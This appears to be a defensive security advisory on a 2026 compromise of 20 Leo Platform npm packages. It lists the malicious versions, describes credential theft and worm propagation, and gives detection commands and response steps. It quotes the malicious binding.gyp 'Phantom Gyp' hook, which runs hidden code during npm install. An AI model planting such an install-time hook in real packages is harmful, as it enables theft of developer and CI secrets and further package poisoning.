critical
CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-829
Affected Surface
20 compromised Leo Platform npm packages published at `2026-06-24T23:04:55Z`, Developer workstations and CI runners that installed `leo-sdk@6.0.19`, `leo-logger@1.0.8`, or the other listed malicious versions, GitHub Actions environments holding `GITHUB_TOKEN`, OIDC credentials, npm publish rights, cloud credentials, SSH material, or password-manager secrets
The most important new package-compromise story in the last 24 hours is the Leo Platform npm incident disclosed on 25 June. This was not a one-off typo package or a single poisoned SDK line. It was a coordinated burst across 20 Leo ecosystem packages, all published at the same second-range timestamp on 24 June and all carrying the same install-time execution pattern previously seen in June’s broader Miasma wave.
The key reason to take this seriously is that the malicious code does not live in the normal application entrypoint path developers review during source inspection. The registry artifact for leo-sdk@6.0.19 adds a binding.gyp file that turns npm install itself into code execution through node-gyp, even though the package is otherwise a JavaScript library and does not need a native build step.
Affected packages
StepSecurity lists the following versions as malicious. The synchronized publish timestamps make the set look like one automated registry operation rather than 20 unrelated package updates:
| Package | Malicious version |
|---|---|
leo-logger | 1.0.8 |
leo-sdk | 6.0.19 |
leo-aws | 2.0.4 |
leo-config | 1.1.1 |
leo-streams | 2.0.1 |
serverless-leo | 3.0.14 |
leo-connector-mongo | 3.0.8 |
serverless-convention | 2.0.4 |
rstreams-metrics | 2.0.2 |
leo-connector-elasticsearch | 2.0.6 |
leo-auth | 4.0.6 |
leo-cache | 1.0.2 |
leo-cli | 3.0.3 |
leo-cron | 2.0.2 |
leo-connector-redshift | 3.0.6 |
leo-connector-oracle | 2.0.1 |
rstreams-shard-util | 1.0.1 |
leo-connector-mysql | 3.0.3 |
leo-cdk-lib | 0.0.2 |
solo-nav | 1.0.1 |
If any of those exact versions were installed, treat the installing host as having executed attacker-controlled code.
Independent registry evidence
Even before reverse engineering the full payload, the npm artifacts themselves are enough to treat this as malicious.
First, the publish timing is not normal package maintenance activity. The npm metadata for leo-logger still records 1.0.8 at the exact reported compromise time:
leo-logger package time history
1.0.7 2025-01-23T18:53:22.317Z
1.0.8 2026-06-24T23:04:55.255Z
At the same time, npm view leo-logger versions no longer returns 1.0.8, which means the version history preserves the event even though the compromised release is no longer installable through the normal version index. That is exactly the kind of after-the-fact cleanup you expect during an active malware response.
Second, the leo-sdk tarball changed shape in a way that clean JavaScript library releases do not:
leo-sdk@6.0.18
package size: 148.4 kB
unpacked size: 628.4 kB
root index.js: 10,358 bytes
binding.gyp: absent
leo-sdk@6.0.19
package size: 1.3 MB
unpacked size: 5.8 MB
root index.js: 5,188,098 bytes
binding.gyp: present
That is not a routine feature release. The clean 6.0.18 package ships a small root index.js and no native-build metadata. The compromised 6.0.19 package suddenly adds a binding.gyp trigger and inflates the root loader into a multi-megabyte obfuscated blob while leaving the rest of the Leo library tree in place.
The install hook is the real execution edge
The malicious binding.gyp in leo-sdk@6.0.19 is short enough to quote directly:
{
"targets": [
{
"target_name": "nothing",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}
This is the same general Phantom Gyp trick used in the June 3 Miasma wave. The package does not need a preinstall or postinstall script in package.json. Instead, npm sees binding.gyp, invokes node-gyp rebuild, and the shell expansion in the sources array executes node index.js before echo stub.c hands a harmless fake source filename back to the build tooling.
The attack chain therefore looks like this:
npm install leo-sdk@6.0.19
-> node-gyp rebuild
-> /bin/sh -c "node index.js > /dev/null 2>&1 && echo stub.c"
-> node index.js
-> staged payload download / unpack
-> secret theft, workflow tampering, and propagation
From a defender’s perspective, this is why “no lifecycle scripts found” is not a meaningful safety conclusion for npm packages anymore.
Why the tarball delta matters
One of the strongest signals in Leo is that the malicious payload was bolted onto otherwise recognizable package contents. In leo-sdk, the legitimate library files, declarations, wrapper code, and connector modules are still present. The suspicious additions are concentrated in two places:
- a new root
binding.gypexecution trigger - a huge root
index.jsthat dwarfs the real package logic
That gives the operator two advantages:
- casual source review still sees normal Leo files
- API-level regression tests may still pass if the package’s exported behavior was not intentionally broken
This is the same supply-chain lesson defenders keep relearning in 2026: the registry artifact is the security boundary, not just the Git repository.
The connection to Miasma is in the execution primitive
StepSecurity ties the Leo wave to the earlier Miasma family based on structural fingerprints rather than branding alone. The reported overlap includes:
- the same Phantom Gyp
binding.gypshell-expansion trigger - the same three-stage obfuscation chain
- the same Bun runtime staging pattern
- the same GitHub-based exfiltration and dead-drop model
- the same npm propagation logic through stolen publish rights
Even without fully deobfuscating leo-sdk@6.0.19 here, the package-level evidence matches that family closely enough to matter operationally. The malicious release is not just “suspicious.” It is shaped like the same install-time worm toolkit that already hit @vapi-ai/server-sdk, ai-sdk-ollama, and related packages earlier this month.
What installed hosts should assume
According to StepSecurity’s runtime and static analysis, the Leo payload targets the exact environments that tend to install these packages:
- GitHub Actions runners with
GITHUB_TOKENand workflow secrets - CI jobs that can mint or use cloud credentials
- workstations with npm tokens, SSH material, password-manager data, or developer API keys
- repositories where the runner can push workflow or helper-file modifications
The reported behavior goes well beyond simple environment-variable theft. The toolkit is designed to:
- scrape
Runner.Workermemory on GitHub Actions hosts - steal multi-cloud and registry credentials
- exfiltrate through the victim’s own GitHub token and repositories
- republish newly compromised npm packages using discovered publish rights
- modify workflows to widen future access
That last point is the difference between a one-host compromise and a supply-chain event. The attacker is not only stealing secrets; they are trying to convert those secrets into more poisoned artifacts.
Detection and scoping
Start with version inventory:
for pkg in \
leo-logger leo-sdk leo-aws leo-config leo-streams serverless-leo \
leo-connector-mongo serverless-convention rstreams-metrics \
leo-connector-elasticsearch leo-auth leo-cache leo-cli leo-cron \
leo-connector-redshift leo-connector-oracle rstreams-shard-util \
leo-connector-mysql leo-cdk-lib solo-nav
do
npm ls "$pkg" 2>/dev/null
done
Then search lockfiles for the exact malicious versions:
rg -n \
"leo-logger@1\\.0\\.8|leo-sdk@6\\.0\\.19|leo-aws@2\\.0\\.4|leo-config@1\\.1\\.1|leo-streams@2\\.0\\.1|serverless-leo@3\\.0\\.14|leo-connector-mongo@3\\.0\\.8|serverless-convention@2\\.0\\.4|rstreams-metrics@2\\.0\\.2|leo-connector-elasticsearch@2\\.0\\.6|leo-auth@4\\.0\\.6|leo-cache@1\\.0\\.2|leo-cli@3\\.0\\.3|leo-cron@2\\.0\\.2|leo-connector-redshift@3\\.0\\.6|leo-connector-oracle@2\\.0\\.1|rstreams-shard-util@1\\.0\\.1|leo-connector-mysql@3\\.0\\.3|leo-cdk-lib@0\\.0\\.2|solo-nav@1\\.0\\.1" \
package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json
Inspect installed package trees or npm cache entries for the Phantom Gyp trigger:
rg -n '"<!\(node index\.js > /dev/null 2>&1 && echo stub\.c\)"' node_modules ~/.npm
And look for the package-shape anomaly that clean JavaScript libraries should not have:
rg -n '^binding\.gyp$' node_modules ~/.npm
On CI runners, review process and network telemetry for:
node-gyp rebuild in a package that should be pure JavaScript
node index.js launched from package install
Bun download or execution during npm install
reads of /proc/<pid>/mem targeting Runner.Worker
unexpected GitHub API writes after dependency installation
Response guidance
Treat installation of any affected version as host compromise, not just dependency drift.
- Isolate affected CI runners or workstations before rotating secrets.
- Preserve lockfiles, npm cache entries, runner logs, and package tarballs where possible.
- Rebuild from a clean lockfile and known-good package versions instead of editing
node_modulesin place. - Rotate GitHub, npm, cloud, SSH, password-manager, and API-provider credentials reachable from the host.
- Audit repositories and workflows that the affected host could write to, because the toolkit is designed to spread.
The main technical lesson is the same one June’s other npm worms keep driving home: the dangerous code may not be in package.json and may not be imported by the library at runtime. In the Leo incident, the security boundary failed at install time, through a binding.gyp file that should never have existed in the first place.
References
- StepSecurity: Mass npm Supply Chain Attack: 20 Leo Platform Packages Compromised
- StepSecurity: Miasma npm supply chain attack via Phantom Gyp
- npm registry metadata: leo-sdk@6.0.19
- npm registry metadata: leo-logger package history
- npm package page: leo-sdk
- CWE-506 Embedded Malicious Code
- CWE-494 Download of Code Without Integrity Check
- CWE-829 Inclusion of Functionality from Untrusted Control Sphere